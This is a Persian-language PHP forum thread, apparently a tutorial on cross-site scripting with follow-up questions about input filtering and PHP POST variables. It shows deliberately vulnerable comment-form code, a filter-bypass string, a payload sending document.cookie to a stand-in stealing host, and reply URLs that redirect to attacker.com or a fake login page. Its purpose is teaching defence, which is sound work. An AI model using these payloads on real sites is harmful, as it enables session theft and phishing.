اطلاعیه

Collapse
No announcement yet.

امنیت در php قسمت اول

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • امنیت در php قسمت اول

    تزریق اسکریپتهای سمت کاربر (Cross Site ******ing)
    در این گونه حملات مهاجم بر روی نقطه ضعف برنامه شما برای کار با ورودی های کاربر که می توانند یک کد HTML یا جاوااسکریپت باشند متمرکز می شود.

    کد PHP:
      [left][right]<?PHP 
    $filename
    ="aa"
    if (isset(
    $HTTP_POST_VARS['comment']) [/right][/left][right][/right]
      [
    left][right]and !empty($HTTP_POST_VARS ['comment'])){ 
        if (!
    $handle fopen($filename'a')) { 
             echo 
    "Cannot open aa file"
             exit; 
        } 
        [/
    right][/left][right][/right]
      [
    left][right]
        if (
    fwrite($handle$_POST['comment']."\n") === FALSE) { 
            echo 
    "Cannot write to file"
            exit; 
        }      
        echo 
    "Success";      
        
    fclose($handle); 
    }
    ?> 
    <form action="" method="POST">   
    <p> 
        <textarea name="comment" cols="50"></textarea> 
    </p> 
      <p> 
        <input type="submit" name="Submit2" value="Submit"> 
    </p> 
    </form> 
    <?PHP 
    $handle 
    = @fopen($filename"r"); 
    $contents = @fread($handlefilesize($filename)); 
    echo 
    nl2br($contents); 
    @
    fclose($handle); 
    ?>[/right][/left][right][/right]
      [left][right][/right][/left]
    </span>
    ین برنامه یک ورودی از کاربر می گیرد و آن را برروی یک فایل ذخیره می کند.سپس محتویات فایل را که ورودیکاربران است را خوانده و بر روی صفحه نمایش میدهد.استفادهاز یک فایل برای ذخیره اطلاعات اینجا صرفا برای ساده ترکردن اسکریپت بوده تا برنامه نویسان سایر زبان ها همبتوانند بدون مشکل کد ها را متوجه شوند.فرق چندانی بین ایناسکریپت و اسکریپتی که از دیتابیس برای ذخیره اطلاعاتاستفاده میکند در موضوع مورد بحث نیست.
    تا اینجای کار همه چیز عادیست . حال بیایید عبارت زیر را به برنامه بدهیم:
    <H1>This is the HTML code injection</H1>
    همان گونه که مشاهده می کنید تگ H1 نیز بعنوان محتویات عبارت در فایل (یا دیتابیس) ذخیره شده است و در نمایش به علت این که مرورگر آن را تفسیر می کند در فرمت خروجی تاثیر گذار خواهد بود.به سورس خروجی برنامه نگاه کنید:

    کد PHP:
      Successwrote
      
    <form action="" method="POST">
      <
    p>
      <
    textarea name="comment" cols="50"></textarea>
      </
    p>
      <
    p>
      <
    input type="submit" name="Submit2" value="Submit">
      </
    p>
      </
    form>
      
    hi<br />
      <
    H1>This is the first HTML injection</H1>
      <
    br />
      [
    left][right] [/right][/left][right][/right]
    [
    left][right][/right][/left

    </span>
    بنابراین می توان تگ های HTML را در این برنامه وارد کرده و مرورگر را به تفسیر آن ها واداشت.این امر در مورد جاوا اسکریپت و امثالهم نیز صادق است.من عبارت زیر را به برنامه میدهم.
    <******>alert("This is injected **********!")</******>
    و پس از ارسال آن برنامه چه چیزی نمایش میدهد؟!:
    همان گونه که پیشتر اشاره کردم ایده کلی این گونه حملات استفاده از زبان های کلاینت ساید برای حمله به کاربران استفاده کننده از برنامه یا وب سایت است.
    حال تصورش را بکنید که یک مهاجم چگونه می تواند از تگ هایی مثل IFRAME , OBJECT , FORM,****** ?و ... سواستفاده کند.


    کد PHP:
      <?PHP 
    $filename
    ="1"
          
    $value=$ HTTP_POST_****IE["Test****ie"]+1
        
    set****ie("Test****ie"$valuetime()+3600);
    if (isset(
    $HTTP_POST_VARS ['comment']) 
      and !empty(
    $HTTP_POST_VARS ['comment'])){ 
        if (!
    $handle fopen($filename'a')) { 
             echo 
    "Cannot open file ($filename)"
             exit; 
        } 
            if (
    fwrite($handle$_POST['comment']."\n") === FALSE) { 
            echo 
    "Cannot write to file ($filename)"
            exit; 
        }      
        echo 
    "Success, wrote";      
        
    fclose($handle); 
    }
    ?> 
    <form action="" method="POST">   
    <p> 
        <textarea name="comment" cols="50"></textarea> 
    </p> 
      <p> 
        <input type="submit" name="Submit2" value="Submit"> 
    </p> 
    </form> 
    <?PHP 
    $handle 
    = @fopen($filename"r"); 
    $contents = @fread($handlefilesize($filename)); 
    echo 
    nl2br($contents); 
    @
    fclose($handle); 
    ?>
    این برنامه دقیقا ً مثل برنامه قبلی عمل می کند با این تفاوت که یک کوکی ست می کند و با هر بار بازدید کاربر به مقدار کوکی فوق یکی اضافه می نماید.توجه کنید بسیاری از سیستم های اعتبار سنجی برای اعتبار سنجی کاربران از کوکی استفاده می نمایند.بنابراین اطلاعات ذخیره شده در کوکی می تواند در صورت دزدیده شدن به یک مهاجم امکان جعل هویت به عنوان کاربر معتبر را بدهد.ما در ادامه مقاله سعی در دزدیدن مقدار کوکی ست شده توسط برنامه مثال بالا می نماییم.
    با وارد کردن کد زیر می توان به کوکی ها و مقادیر آن ها دسترسی داشت.
    <******>alert(document.****ie)</******>

    و با وارد کردن کد زیر مهاجم می تواند کوکی ها را بوسیله اسکریپتی که در وب سایت خود نوشته بدزدد!
    <******>document.location .replace('http://sample.com/steal****.php?****ie='+document.****ie);</******>
    کد دزدیدن کوکی ها مثلا می تواند کد زیر باشد که مهاجم با قرار دادن آن در وب سایت خود و انتقال مرورگر به آن می تواند کوکی ها را در یک فایل یا دیتا بیس ذخیره کرده و از آن ها سو استفاده کند.

    کد PHP:
      <?PHP 
        
    echo $_GET['****ie']; 
        
    ?>




    ایجاد امنیت
    ال که با شیوه حملات تزریق اسکریپت سمت کاربر که Cross Site ******ing یا به اختصار XSS نامیده می شوند آشنا شده اید وقت آن است که با مکانیزم های ایمن سازی برنامه در مقابل این گونه حملات نیز آشنا شئید.
    راه حل شما برای مقابله با این گونه حملات فیلتر کردن ورودی های کاربران ، برای این گونه روش ها و اسکریپت ها می باشد.بعضی از برنامه نویسان برای حل این موضوع در صورتیکه ورودی کاربر دارای <? یا > باشد آن را کاملا غیر قابل قبول فرض کرده و به کاربر پیغامی مبنی بر عدم ورود این گونه کاراکنر ها میدهند.این شیوه به هیچ وجه مقبول نیست زیرا:
    1- ممکن است کاربر به هر دلیل بخواهد از < یا > در نوشته خود استفاده کند
    2- همان طور که در قسمت قبلی مقاله گفته شد الزاما مهاجم از < یا > در حملات خود استفاده نخواهد کرد.
    3- بعضی دیگر در صورتی که کد حاوی کلمه ای خاص مثل ****** باشد آن کلمه را از درون متن حذف میکنند.
    مثال:

    کد PHP:
      <?PHP 
    $filename
    ="1"
    $comment=$_POST['comment']; 
    $comment=str_ireplace "******"""$comment); 
    if (isset(
    $comment) and !empty($comment)){ 
        if (!
    $handle fopen($filename'a')) { 
             echo 
    "Cannot open file ($filename)"
             exit; 
          } 
        if (
    fwrite($handle$comment."\n") === FALSE) { 
            echo 
    "Cannot write to file ($filename)"
            exit;    }     
        echo 
    "Success, wrote";     
        
    fclose($handle); 

    ?> 
    <form action="" method="POST">   
    <p> 
        <textarea name="comment" cols="50"></textarea> 
    </p> 
      <p> 
        <input type="submit" name="Submit2" value="Submit"> 
    </p> 
    </form> 
    <?PHP 
    $handle 
    = @fopen($filename"r"); 
    $contents = @fread($handlefilesize($filename)); 
    echo 
    nl2br($contents); 
    @
    fclose($handle); 
    ?>
    من در این برنامه عبارت <******>alert(document.****ie)</******> را وارد می کنم و نتیجه:
    روش فوق نیز آسیب پذبراست زیرا:
    1- همان طور که در مقاله قبل گفته شد مهاجم می تواند از سایر تگ های HTML مثل <a> استفاده کند
    2- در صورتیکه مهاجم چنین عبارتی را وارد کند قیلتر برنامه شما را دور زده است
    <sc******ript>alert(document.****ie)</sc******ript>
    زیرا برنامه عبارت ****** را از داخل تگ ها حذف میکند و در نهایت چنین عبارتی پدید می آید:
    <******>alert(document.****ie)</******>
    بهترین راه نوشتن الگریتم شخصی برای مقابله با این گونه حملات می باشد.مزیت این کار این است که شما ی توانید مواردی مانند تزریق عبارات SQL (SQL Injection ) را نیز پوشش داده و ورودی های کاربران را برای تمامی حملاتی از این قبیل بررسی و فیلتر کنید.الگوریتم شما باید بتواند ورودی کاربران را همان گونه که وارد شده در صفحه نمایش دهد اما اجازه فعالیت به اسکریپت های فوق را ندهد مثلا > و < را در صفحه نمایش به $lt; و &gt; تبذیل کند.
    برنامه شما باید بتواند معادل هگزادسیمال عبارات فوق را نیز تشخیص داده و بر روی آن نیز فیلتریتگ انجام دهد.
    اگوریتم برنامه خود را حتما ً قبل از انتشار تست و بررسی کنید و راه هایی را که ممکن است یک نفوذ گر از طریق آن ها فیلتر برنامه شما را دور بزند مسدود نمایید.
    یک نمونه جالب برای بررسی چگونگی دادن اختیارات به کاربران همراه با در نظر گرفتن نکات امنیتی ?BBCODE هاییست که در فوروم هایی مانند PHPBB برای امکان دادن به کاربر برای درج عکس یا لینک در پست تعبیه شده است.به این ترتیب که مثلا ورود عبارت [url] در صفحه نمایش به صورت تگ <a> نمایش داده می شود.در برنامه ای مانند PHPBB از طریق Regular expression این امر تحقق یافته است اما حتی در چنین برنامه ای نیز یه مهاجم خبره با خواندن دقیق کد می تواند مشکلات امنیتی را کشف نماید.برای مثال در تمامی نسخ PHPBB(تا 14) می توان یک لینک مخرب به پست اضافه کرد.
    در صورتیکه از PHP استفاده می کنید تابع htmlspecialchars تابعی مناسب برای فیلتر کردن ورودی هاست.بررسی الگوریتم مورد استفاده در این تابع برنامه نویسان سایر زبان ها را نیز برای نوشتن الگوریتم ایمن سازی ورودی یاری خواهد کرد.
    کد ما به این شکل می شود در اخر در خط 4 دقت کنید

    کد PHP:
       <?PHP 
    $filename
    ="1"
    $comment=$_POST['comment']; 
    $commenthtmlspecialchars($comment); 
    if (isset(
    $comment) and !empty($comment)){ 
        if (!
    $handle fopen($filename'a')) { 
             echo 
    "Cannot open file ($filename)"
             exit; 
          } 
        if (
    fwrite($handle$comment."\n") === FALSE) { 
            echo 
    "Cannot write to file ($filename)"
            exit;    }     
        echo 
    "Success, wrote";     
        
    fclose($handle); 

    ?> 
    <form action="" method="POST">   
    <p> 
        <textarea name="comment" cols="50"></textarea> 
    </p> 
      <p> 
        <input type="submit" name="Submit2" value="Submit"> 
    </p> 
    </form> 
    <?PHP 
    $handle 
    = @fopen($filename"r"); 
    $contents = @fread($handlefilesize($filename)); 
    echo 
    nl2br($contents); 
    @
    fclose($handle); 
    ?>
      [right] [/right]
    </span>

    یکی از نکاتی که متاسفانه بسیاری از برنامه نویسان به آن توجه نمی کنند اعتبار سنجی فرم ها در سمت کاربر بوسیله زبان هایی مثلا جاوااسکریپت است.یک مهاجم بسادگی میتواند صفحه را ذخیره کرده،اسکریپت اعتبار سنجی را حذف کند و متد action ?فرم را دستکاری و مقادیر فرم را ارسال کند.راه بسیار ساده تر استفاده از پروکسی هایی مثا Achilles است.بدین ترتیب که مقادیر قبل از ارسال از سیستم کاربر به خارج توسط این گونه نرم افزار ها بین راه دریافت شده و مهاجم بسادگی می واند آن ها را ویرایش کند.در مبحث حمله به کوکی ها یک نمونه از این عمل را نمایش خواهیم داد.
    در مجموع فراموش نکنید که امنیت در تمامی زمینه ها به خلاقیت و آگاهی شما بستگی دارد.شما برای ایمن سازی نیازمندید که محیط کار خود را به خوبی بشناسید.بهترین متخصصان امنیتی دنیا هم هیچ وقت نمی تواندد امنیت سیستمی را صد در صد تضمین کنند.تنها کاری که یک مشاور امنیتی می کند پایین آوردن درصد ریسک است و لا غیر.
    با تشکر از cfz




    لینک دانلود به فرمت pdf
    http://www.divshare.com/download/941970-930

  • #2
    یک نکته در کل اموزش می خواستم بگم بهترین روش این نوع با
    برای رفعش همون htmlspecialchars خود php هست
    یام رفت

    Comment


    • #3
      نوشته اصلی توسط hba نمایش پست ها
      یک نکته در کل اموزش می خواستم بگم بهترین روش این نوع با
      برای رفعش همون htmlspecialchars خود php هست
      یام رفت
      در صورتیکه از PHP استفاده می کنید تابع htmlspecialchars تابعی مناسب برای فیلتر کردن ورودی هاست
      حامد جان يادت نرفته بود
      خوب منم يه توضيح كوچولويي در مورد انواع xss بدم با اجازه استادان شريف.

      3 نوع باگ xss داريم :
      DOM-Based XSS
      Non-persistent XSS
      Persistent XSS

      DOM-Based XSS
      روي هر سيستم عاملي يه سري صفحه هاي html با اهداف مختلف وجود داره ،كه اگه بي توجهي بشه ميتونيم اونا رو اكسپلويت كنيم .چطوري ؟
      اينطوري كه
      هكر يه سايت ميسازه ميده به طرف
      طرف باز ميكنه در صورتيكه صفحه حفره داره روي سيستم عاملش !
      سايتي كه هكر براي طرف فرستاده يه سري دستور به صفحه حفره دار مقتول ! ميفرسته .
      صفحه ي حفره دار روي كامپيوتر مقتول اين دستورات رو به وسيله تاييد مقتول اجرا ميكنه.
      همانا اين اجرا كردن و كنترل كامپيوتر هدف دست قاتل افتادن
      راه حل امنيتي :
      -صفحه هاي مشكوك رو باز نكنيد (خواستيدم بكنيد مسئوليتش با خودتون !)
      -update و پچ كردن باگا يادتون نره


      Non-persistent XSS

      خوب اين نوع رو بيشتر باهاش آشنا هستين،معمول ترين نوع Xss ،حامد عزيز هم كامل توضيح دادن. يه اشاره كوچولو ميكنم بهش .
      اول بگم اين آسيب پذيري رو سايت و پورتال هست ...
      اين نوع آسيب پذيري مواقعي رخ ميده كه سايت يه قسمتي داشته باشه مثل سرچ كه بعد از وارد كردن داده توسط كاربر (اينجا نفوذگر) ،كاربر رو به يه صفحه ديگه منتقل كنه (redirect) .
      خوب بر پايه اين هكر خان والا مياد يه سري كد رو ،روي سرور اجرا ميكنه و نتيجه كار خودش رو ميگيره .
      چطوري ؟اين يه نمونش (بالا هست به اندازه كافي )
      http://www.example.com/search.php?text=<imgsrc="http://attacker
      .com/image.jpg">
      كه اگه سايت آسيب پذير باشه عكس هكر مشاهده ميشه ...
      حالا كاراي بدتر رو با كداي جاوا ميكنن .

      http://www.victim.com/search.php?text=
      <******>document.location("http://attackersite.com/fakelogin.php")<
      /******>Encoded in Hex.
      Ùˆ....
      راه حل امنيتي
      هم كامل بالا هست. مثلا يكيش htmlspecialchars ......

      خوب نوع 3
      Persistent XSS


      اين نوع با اينكه ساده هست اما خطرناك هست ...
      دقيقا مثل نوع قبلي هست فقط فرقش اينه كه ديگه لازم نيست هكر زحمت بكشه و تو URL كد رو وارد كنه ،خود سايت اين امكان رو بهش ميده ..
      ميدوني مثل كجا ؟اگه گفتي...؟؟؟
      آفرين مثلا قسمت تماس با ما ميزارن تو سايت ها كه تحت وب (web mail) براي صاحب سايت ميل بزنين .
      خودتون ديگه بگيرين چي ميشه اگه كد هكر رو كامپيوتر صاحب سايت اجرا شه ..برا همينه كه خطرناكه .كل سايت و كاربرا تو خطر ميوفتن .
      راه حل امنيتي :
      دقيقا مثل نوع دوم

      خوب قصه ما به سر رسيد ،كلاغه به خونش نرسيد (خوش مزه!).

      Comment


      • #4
        بالاخره بعد از مدت ها این شبگرد ما هم باز شد و ما یعد از 3 روز خماری باز تونستیم پست های حامد و ارد رو بخونم.
        من یه سایتی رو برای اولین بار با پی اچ پی دارم میسازم
        توی این سایت یه صفحه هست که مشخصات لپ تاپ رو به علاوه 3 تا عکس از کاربر میگیره
        یعد از چک کردن سایز عکس و پسوندش و اطلاعات وارد شده یه صفحه روی سرور توی مسیر خاصی میسازه و این صفحه برای مدیر سایت هست که بیاد روی لپتاپ مشتری طبق مشخصات قیمت بزاره و اونو مستقیم از مصزف کننده بخره و خودش بفروشه.

        یه قسمتی توی این فرم یه تکست باکس برای وارد کردن اسم و آدرس گذاشتم
        که متغیر ورودی رو مستقیم به صفحه دیگه که مدیر میبینه سیو میکنه
        اگه ممکنه بکین که چطوری هنکام post این ورودی ها چک بشه که سرور نفوذپذیر نباشه
        یه سوال دیکه. آیا محدودیتی روی سایز یک فایل پی اچ پی هست ؟
        آیا بهتره فایل های چند تا باشن؟ یا اینکلود بشن بهتره؟ یا چندان فرقی نمیکنه؟
        آیا استفاده ار اینکلود خطرناکه؟
        اگه مایلین کد هاشو بذارم میدونم طرز توشتنم ابتداییه . من اینو با دیریم نوشتم.
        ممنون از استادان عزیز
        همه مان یک روز بالاخره بر سر این دوراهی خواهیم ایستاد …
        آنجا که همسرمان خواهد گفت : ” یا من ، یا اینترنت ؟! “
        و چه لحظه ی سختی خواهد بود ،
        لحظه جدایی از همسر … !

        Comment


        • #5
          ببین اگر xss میخواهی چک کنی
          این طوری هست
          کد PHP:
          $a=htmlspecialchars($HTTP_POST_VARS['aaaa']); 
          Last edited by hba; 06-18-2007, 04:44 AM.

          Comment


          • #6
            در مورد اينكلود ،چرا استفاده نكني ؟
            اتفاقا استفاده بايد بشه تا اونجايي كه جا داره، اما يه سري اصول رو بايد رعايت كنيم براي استفاده ازش تا خطر ساز نباشه كه بحثش هم مفصل هست (معمول ترين باگ پورتال ها) ،كه هر موقع استاد عزيزم حامد تاپيك رو زدن ، در مورد اينكلود هم در خدمتم اونجا.(اينجا باز نميكنم بحث رو چون ربطي به xss نداره ).

            براي امن كردن پورتالت در قبال باگاي xss خوب مهم ترينش رو استاد عزيزم گفت :htmlspecialchars
            البته تو كدي كه حامد گذاشته تو پست قبلي بعد از http يه _ ميخواد "(" رو بردار .

            يه راه ديگه :
            ميتوني از كاركترايي كه كاربر ميفرسته فقط كاركتراي alpha-numerical رو اجازه بدي فرستاده بشن.
            کد:
             Python: cgi.escape($code)
            PHP: eregi("[^a-zA-Z0-9_]", $code)
            $code = htmlentities($code)

            Comment


            • #7
              ممنون از حامد و شما دوست عزیز ارد ( اسمتون چی هست؟)
              آقا حامد آیا اینو باید برای تکست فیلد ها استفاده کنم یا باید برای همه چیزهایی که پست میشه؟
              مثلا در مورد value کمبو باکس ها یا تیک باکس ها هم از این باید استفاده بشه ?
              از ENT_QUOTES هم باید استفاده بشه یا نشه؟
              یه سوال دیگه
              فرق
              کد PHP:
              $_POST['aaaa'[]
              با
              POST_VARS
              ['aaaa']; 
              ]چیه؟
              Last edited by mserm; 06-17-2007, 09:08 PM.
              همه مان یک روز بالاخره بر سر این دوراهی خواهیم ایستاد …
              آنجا که همسرمان خواهد گفت : ” یا من ، یا اینترنت ؟! “
              و چه لحظه ی سختی خواهد بود ،
              لحظه جدایی از همسر … !

              Comment


              • #8
                نوشته اصلی توسط mserm نمایش پست ها
                ممنون از حامد و شما دوست عزیز ارد ( اسمتون چی هست؟)
                آقا حامد آیا اینو باید برای تکست فیلد ها استفاده کنم یا باید برای همه چیزهایی که پست میشه؟
                مثلا در مورد value کمبو باکس ها یا تیک باکس ها هم از این باید استفاده بشه ?
                از ENT_QUOTES هم باید استفاده بشه یا نشه؟
                یه سوال دیگه
                فرق
                کد PHP:
                $_POST['aaaa'[]
                با
                POST_VARS
                ['aaaa']; 
                ]چیه؟
                فکر کنم منظورت $HTTP_POST_VARS باشه .
                برای دستیابی به متغیر X سه روش هست :
                کد:
                $test
                $_POST['$test']
                $HTTP_POST_VARS['$test']
                برای روش اول باید register_globals فعال باشه . ( در حالت عادی off هست ).
                روش دوم که اکثرا" استفاده میکنن تو نسخه های اولیه php ( پایینتر از 4.1.0 ) جواب نمیده .
                روش سوم هم بهترین روشه فقط یه کم طولانی که میتونی متغییر کوتاه تری براش اتخاب کنی :
                کد:
                $pase = $HTTP_POST_VARS['$test']
                --
                یا حق !

                Comment


                • #9
                  سوال اول فیلد های text ای رو بزار توش هر مدلیش حتی اگر value چیزی مقداری هست میگیری اش
                  Last edited by hba; 06-18-2007, 04:46 AM.

                  Comment


                  • #10
                    نوشته اصلی توسط Sc0rpioN نمایش پست ها
                    روش دوم که اکثرا" استفاده میکنن تو نسخه های اولیه php ( پایینتر از 4.1.0 ) جواب نمیده .
                    روش سوم هم بهترین روشه فقط یه کم طولانی که میتونی متغییر کوتاه تری براش اتخاب کنی :
                    کد:
                    $pase = $HTTP_POST_VARS['$test']
                    فرقي بين اين دو نيست !!
                    register_global رو شما آف كني ميتوني ازشون استفاده كني (هر دو)!!!(اينجاس جعل متغير بي معني ميشه ).
                    کد:
                    $_POST['aaaa'[]
                    با
                    HTTP_POST_VARS['aaaa'];
                    »»»
                    توجه:
                    به علت شكاياتي كه هميشه در مورد تايپ HTTP_POST_VARS$ شده ةتيم توسعه php براي هركدام از آرايه ها اسامي بنام
                    کد:
                    $_POST,$_GET,$_****IE,$_NEW
                    تعريف كرده .

                    Comment


                    • #11
                      اقا فرق می کنه
                      register global باز باشه
                      این جواب نمیده
                      کد PHP:
                      $_POST['aaaa'[] 
                      ولی این جواب میده در همه صورت
                      کد PHP:

                      HTTP_POST_VARS
                      ['aaaa']; 

                      Comment


                      • #12
                        نوشته اصلی توسط ard نمایش پست ها
                        فرقي بين اين دو نيست !!
                        کد:
                        $_POST['aaaa'[]
                        با
                        HTTP_POST_VARS['aaaa'];
                        کی گفته فرق نمیکنه ؟
                        روش دوم که اکثرا" استفاده میکنن تو نسخه های اولیه php ( پایینتر از 4.1.0 ) جواب نمیده .
                        این خودش یه تفاوت با روش سوم ! ( حالت کلی ) .
                        -----------------------------------------------------------------------------------
                        register_global رو شما آف كني ميتوني ازشون استفاده كني . ( هر دو !!)
                        برای روش اول باید register_globals فعال باشه . ( در حالت عادی off هست ).
                        همون شد !
                        -----------------------------------------------------------------------------------
                        قا فرق می کنه
                        register global باز باشه
                        این جواب نمیده
                        کد:
                        $_POST['aaaa'[]
                        فکر کنم حق با ای ار دی باشه
                        در نوشتن فرق نمیکنه از دو تاش میشه استفاده کرد .
                        Last edited by Sc0rpioN; 06-18-2007, 01:07 PM.

                        Comment


                        • #13
                          نوشته اصلی توسط hba نمایش پست ها
                          اقا فرق می کنه
                          register global باز باشه
                          این جواب نمیده
                          کد PHP:
                          $_POST['aaaa'[] 
                          ولی این جواب میده در همه صورت
                          کد PHP:

                          HTTP_POST_VARS
                          ['aaaa']; 
                          حامد جان البته جسارت اما فكر ميكنم اشتباه ميكني ،بنده هر رو با register golbal آف , آن تست كردم براي اطمينان جواب ميده و گفتم همون طور كه ياشار خان اشاره كرد هيچ تفاوتي بين اين دو متغيري كه احسان عزيز نام بردن نيست .فقط اون قضيه شكايت ها باعث شد بعد از مدتي _POST رو تو php جايگزين كنن.
                          Last edited by ; 06-18-2007, 10:58 PM.

                          Comment


                          • #14
                            اره الان خودمم تست کردم برای عجیبه پس چی توی این دیده بودم ؟
                            مرسی

                            Comment

                            Working...
                            X